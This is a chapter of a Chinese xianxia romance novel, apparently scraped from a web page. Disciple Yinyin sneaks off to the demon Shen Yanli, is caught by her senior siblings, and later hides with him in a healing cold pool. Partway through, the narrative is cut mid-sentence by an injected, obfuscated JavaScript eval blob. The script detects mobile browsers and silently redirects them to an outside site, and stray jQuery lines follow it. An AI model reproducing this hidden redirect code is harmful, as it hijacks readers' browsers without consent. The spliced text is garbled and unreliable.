玲珑苑外,立着一颀长身影。
方涧洄犹豫再三,还是开口:“小师妹,你睡了吗?”
屋内亮着灯盏,火光映在窗纸上,却良久都无人应答。
“我给你带了助眠的安神香,你若失眠实在严重,可点一支在屋内。”方涧洄善解人意道,“小师妹不方便开门的话,我就把东西放在窗台上,等我走后你再出来取。”
“今日之事不必想太多伤神,希望你今晚能做个好梦。”
方涧洄放下装了安神香的木檀盒,正要转身回去,旁边一间屋子门被拉开。
宁筝靠在门边,打着哈欠一脸幽怨问:“大师兄,半夜不睡干嘛呢?来找我们可爱的小师妹讨论剑法啊?”她也是仗着人脾气好,才敢嘴里没个把门的。
方涧洄神色无奈:“我给小师妹送些安神香,助她好眠。”
宁筝奇怪音音怎么不出来道谢,大大咧咧地帮忙敲门。哪知门没上锁,被她一下就给没轻没重地砸开。
房间凌乱,唯独不见人在。
昨夜虚渡宗内刚出了桩命案,虽说凶手已关入思过牢,但此案疑点重重,眼下半夜出门可不是个明智之举。
更何况是还在初窥境的音音。
方涧洄神色凝重:“找。”
宁筝困意顿消,点了点头。
*
音音远在静山,几乎同时感知到识海传音和同心应。
她知道今晚怕是要完,准是跑出来的事被谁给逮住了。
白骨一步步靠近,音音头皮发麻,正要去摇渡音铃,一只冰凉的手将她摁住。
沈宴离不知何时来到身后,嗓音低沉:“你对这堆恶心的骨头就如此感兴趣?”
音音转头,发现沈宴离脸色格外苍白,左眼尾那颗红色已泪痣消失不见,刚吐过血的缘故,唇畔色泽倒是鲜红,瞧着软如樱瓣。
“昨晚这堆骨头被你打散之后,今天又重新变成这样了是吗?”
“嗯。”
“它们从什么时候开始这样的?”
沈宴离玩味地冷笑:“你来过之后。”
在音音进入过密林之后,这堆白骨就如同活了一般,专挑她来的夜晚出没。
每回都坏他好事,事不过三,他已不打算再忍。
音音眼中透着迷茫:“我?”
“也许你身上有它们想要的东西。”
沈宴离漫不经心掷出一纸符咒。
就像他暂时不杀音音,也只是因为她还有可利用之处。
这回音音目睹了符咒霎时间幻化出多道击向白骨的全过程,不敢相信大魔头现在就已经这么强了:“你这什么符咒?为何静山结界对这个不起作用?”
沈宴离食指压到音音唇上,堵住她的话。
“好奇害死猫,你想当死猫么?”
音音:“……”
谁告诉你这句话是这么断的了?!
识海传音和同心应还在不断发出感应。
音音已验证了白骨并非许茂山操纵,着急回去,却再次被沈宴离拉住。
“要走?”
音音说瞎话:“我想起房间烛火未熄,天干物燥的很危险。”
“不许。”沈宴离眼神暗下,“你要摇铃铛给我听。”
堂堂大魔头怎么还和小孩一样耍性子!
音音推辞:“还摇?你刚都吐血了。”
说到这,她心里平衡了,一物降一物,就算大魔头再强,摇两下渡音铃也还是要在她面前吐血。
沈宴离脸色冷下来:“我说了与你无关。”
嚯,还嘴硬。
“摇多久?”
“整晚。”
“适可而止懂不懂?”
“不懂。”
音音差点忘了,这还是个文盲大魔头。
理解不了成语很正常。
音音打商量:“明晚行不行?今晚我真得回去了。”
沈宴离:“我凭什么——”
“你不信我是吧?我跟你拉钩。”音音勾过沈宴离修长的手指,强势地摁下指印,絮絮念叨,“这样的话,骗你我就是小狗。”
沈宴离抽回手:“无趣。”
他想说的分明是凭什么要放她走。
音音扫过沈宴离滑落的那截衣袖,袖口短了半截,露出雪白腕骨,第一次见面她就注意到了这身衣服的破旧不合身,许是沈宴离从哪位死在密林中的虚渡宗弟子身上扒下来的。
穿死人衣服,也不嫌晦气。
沈宴离打断她思绪:“明晚你若不来,我会杀了你。”
音音嘀咕:“反正你早晚都会杀了我。”
两人不就是你死我活的关系。
未等沈宴离再说什么,音音转身朝山下跑去,打算出了结界就施瞬移术回玲珑苑。
沈宴离的声音忽从背后传来:“你叫什么?”
音音头也不回地挥挥手:“记住啦,我叫音音。”
沈宴离垂眼,瞧了瞧张开的掌心,又如牢牢抓住什么一般握紧。
有了名字,天涯海角他就总能找到她。
*
房中烛火已熄,伸手不见五指。
音音猫着腰进门,一转身,火光顿时亮起。小桌旁左右两边各坐着方涧洄和宁筝,平时最没脾气的两个人,此刻都不苟言笑。
完蛋。
大型审讯现场。
方涧洄打破沉默问:“小师妹又失眠了吗?”
音音揉揉眼睛,装模作样点头。
宁筝幽怨地撑着下巴,没睡醒脾气很差:“那小师妹是逛到哪儿去了?能找的地方都没找到,识海传音和同心应也不接收。”
音音小声道:“我说了能不挨骂吗?”
方涧洄:“说。”
“我今晚在静山又看见了那堆白骨!”音音心一横,该说不该说的全抖了出来,“这就说明那些白骨与侍魂禁术无关吧,那是不是可以洗脱许茂山的嫌疑?”
“小师妹你——”
宁筝瞥见方涧洄奇差无比的脸色,话到嘴边转了个弯:“小师妹你这么三番五次进入静山,就没有撞见里面关着的那位?”
“没啊,没见过,我怎么会见过他!”
方涧洄看了音音一眼,脸色更差了:“过来,伸手。”
音音听话照做,就算方涧洄要惩罚她打手掌心也认了。长兄如父,大师兄自然也可以代替南青风教导她。
方涧洄抬手,一道灵力丰沛的光芒自他手中运出。
用灵力打人肯定很疼,音音紧闭双眼,感到掌心稍烫,传入源源不断的暖流。
咦,好像不是在打她?
“我结下一道护身印,下次遇到危险可护你一次周全,许茂山的事你不必再插手。事不过三,若小师妹下次再敢偷跑去静山,我会直接代师尊罚你。”
音音眼睛热热的,大师兄真是个好人,好到她下次还敢。
宁筝指着桌上那个木檀盒说:“喏,大师兄给你送的安神香,小师妹晚上别乱跑了,点一支老老实实睡会儿觉不好吗?”
音音挤了几滴眼泪出来,哽咽道:“谢谢大师兄。”
方涧洄摇摇头起身,宁筝看不下去也起了身,两人一并告辞。
音音眼泪未收,清脆的嗓音回荡在夜色中:“大师兄晚安!二师姐晚安!”
人未走远,门扉已啪一声合上,没心没肺。
毛茸茸的影子映在窗纸上,头顶一撮呆毛翘起,屋内之人放松地伸了个懒腰。
宁筝叹了口气:“大师兄,小师妹是不是跟以前不太一样?”
“她确实是我们的小师妹。”方涧洄看着那道影子,凝眸肯定,“以前小师妹深居简出,跟我们接触也不多,到底是什么性格连我也说不准,不过以后我们应该就能慢慢了解她……”
宁筝点点头:“大师兄,我信你。”
反正她也喜欢小师妹现在的样子,以前总感觉和小师妹有层隔阂,不太亲密。
而现在这层隔阂正慢慢消失,小师妹好像已经开始融入他们了,总归是件好事。
*
第二天夜里,音音不敢顶风作案,先点上安神香真睡了一觉,醒来后又在被子下面塞了几个枕头,才施展瞬移术前去静山。
茅草屋内不见沈宴离身影,音音唤了几声,无人应答。
她去周围找了一圈,绕过树底时,脑袋一疼,仿佛被掉落的小石头砸到,伸手却在发梢间摸出一片薄薄的树叶。
抬头看去,枝杈掩映间,沈宴离懒散地靠坐在树上,手中正把玩一片树叶。
那片树叶径直朝音音丢来,被她闪身躲开:“干什么!”
沈宴离的视线居高临下:“你迟到了。”
音音不满:“迟到就迟到嘛,又不是不来,高空抛物是犯法的知不知道。”
沈宴离从树上一跃,轻盈落地,给音音使了个眼神叫她跟上。
寒潭无波,水雾似幻。
这是两人初次相见的地方。
沈宴离解下外袍丢给音音,抬脚迈入水中,带起哗啦水声。
音音嫌弃地用一个指头勾着那件破旧寒酸的外袍:“你怎么随随便便就脱衣服?大半夜洗什么澡啊?”
沈宴离不作解释:“你留在岸边摇铃铛便可。”
音音试了下水温,冰到刺骨。
静山这么冷,这水又这么冰,大魔头可真能忍。
隔远了距离,音音看不见沈宴离左眼尾慢慢浮现的那颗诡异的淡红泪痣。
她刚摸到腰间的铃铛,忽听对面淡声开口:“有人。”
音音心一惊,朝四周望,透过树影瞥见一抹白袍和一柄闪着银光的剑。
那剑越看越眼熟,剑身盈着月华,分明是洄光剑。
来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745261|189855||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
者是方涧洄!
四周除了水底,哪里还有躲的地方。
音音抱着沈宴离的外袍猛扎进寒潭,冷意瞬间侵袭了她四肢百骸。每朝潭中央靠近一点,骨头就像被刀磨过一遍,太疼了。
沈宴离没想到音音会做出此举,皱眉间,音音已从身边的水面钻出,冻得唇畔发抖,眼睛红红,泛白的手指紧攥住他衣襟,气若游丝。
“躲……躲起来。”
说完,音音就要把他一同拉进水底。
沈宴离阻止了音音往下潜的动作,单手在她腰侧拦着:“你想憋死?”
音音两边唇角向下弯,恳求的眼神望向沈宴离。
寒潭水面漂浮着朵朵荷花,碧绿荷叶大片舒展,占去不少面积。
沈宴离带着音音往荷花深处游去,直至接天荷叶挡住两人半个身子,站在岸边难于窥探到此处光景。水面波纹消失,一切再度回归平静。
方涧洄适才出现在岸边,白袍银剑,清朗如月。
他察觉到寒潭有一丝气息与众不同,警惕地停下观望。
沈宴离观察着音音的反应,低下头,气息拂过她耳畔:“是谁?”
音音立刻抬手捂住了沈宴离的唇,瞪去一眼。
她都不敢呼吸了,这人居然还同她搭话。
沈宴离的下半张脸被挡住,音音只见到他狭长的眼睛略微弯起,表情似笑非笑。
音音心脏狂跳,有种不好的预感。
几次交手让她意识到这小子笑了准没好事,说明他要使坏了。
果然。
沈宴离拦在音音腰侧的手不动声色收紧,防止她待会儿逃跑,而后喉结滚了滚,像狼似的用牙齿叼住了音音掌心的一块软肉,狠狠咬了下去。
好疼!!
音音眼泪一下子飚出来,勉强才忍住不出声。
她想往后退却又退不开,干脆往前一贴,管不得许多,报复性地朝沈宴离裸露在外的颈侧肌肤咬下去。
来啊,互相伤害!
汝牙利,吾牙未尝不利!
沈宴离的心情许久都不似今夜这般愉悦,这种嗜血的快感使他兴奋,他好像尝到了鲜血,味道竟是甜的,便忍不住伸出舌头舔了一下。
音音牙齿放松,眼睛睁得圆圆的。
靠这变态居然舔她?!
好在方涧洄已从岸边离开,音音抽回自己鲜血淋漓的手,小声痛骂:“你是狗吗?!”
沈宴离指腹擦过唇边:“你的血很甜。”
语气平波无澜,也毫无情感,只是在客观描述事实。
音音沉不住气,反手就甩了沈宴离一耳光:“变态!”
沈宴离眼底寒光闪过,泪痣的红色隐隐加深,水面之下,缚魔链散出一圈光晕。
音音还在心疼自己被咬破的手,对危险毫无察觉。她往岸边游去,着急回去疗伤,忽然就被扯了一下,手心不慎沾到冰凉的水,疼的要命。
“你走不了。”
被迫和沈宴离面对这面,音音才发觉他似乎有些不太对劲,气场沉得可怕。
音音赶紧摸到渡音铃摇晃起来,沈宴离眼底恢复一点清明,看清面前红了鼻子和眼睛的小姑娘,狼狈地在掉眼泪。
又哭。
沈宴离心中没由来地烦躁,视线落到那只被咬出血来的白嫩掌心。
于是他掐住音音手腕,拽进水中,任她怎样挣扎都不肯松手。
水面激出阵阵涟漪,水下是两只相互交叠的手。
血液融进水里,泛起妖冶的红色。
生理性的疼痛使音音眼泪掉个不停,沈宴离不喜她这副模样,手指点了下颈侧那个牙印,俯身主动凑近她道:“疼就咬着。”
音音不明白沈宴离此举为何,也没力气再咬他,额头软软枕在他肩上,无力地摇了几下渡音铃,祈祷大魔头能早点心软放过她。
良久,许是疼到了麻痹神经,痛感在逐渐消失。
沈宴离终于肯松开音音的手,往上抬出水面,却见掌心那道伤口已然愈合,皮肉完好,连牙印痕迹都浅淡不少。
音音眨了眨润湿的眼睫,好像有点明白了。
怪不得这水那么冰,沈宴离还老泡在里面,原来是有疗伤功效。
但想到刚经历的一番彻骨之痛,她倒宁愿伤口慢点好。
音音缓过神来问:“你哪里受伤了?”
“与你无关。”沈宴离收回拖住音音的手,疏离冷淡,“既然好了,便继续摇你的铃铛。”
“不行!我大师兄还在静山,会被他听见的。我本就是偷偷跑来找你的,被他知道就死定了。再说,你也不想和他碰面吧?”
沈宴离的耐心所剩无几。
这小姑娘当真是个麻烦精。
他推开音音,闭上眼,一副要入定的姿态。
最后一句话是:“你留下,等他走了再说。”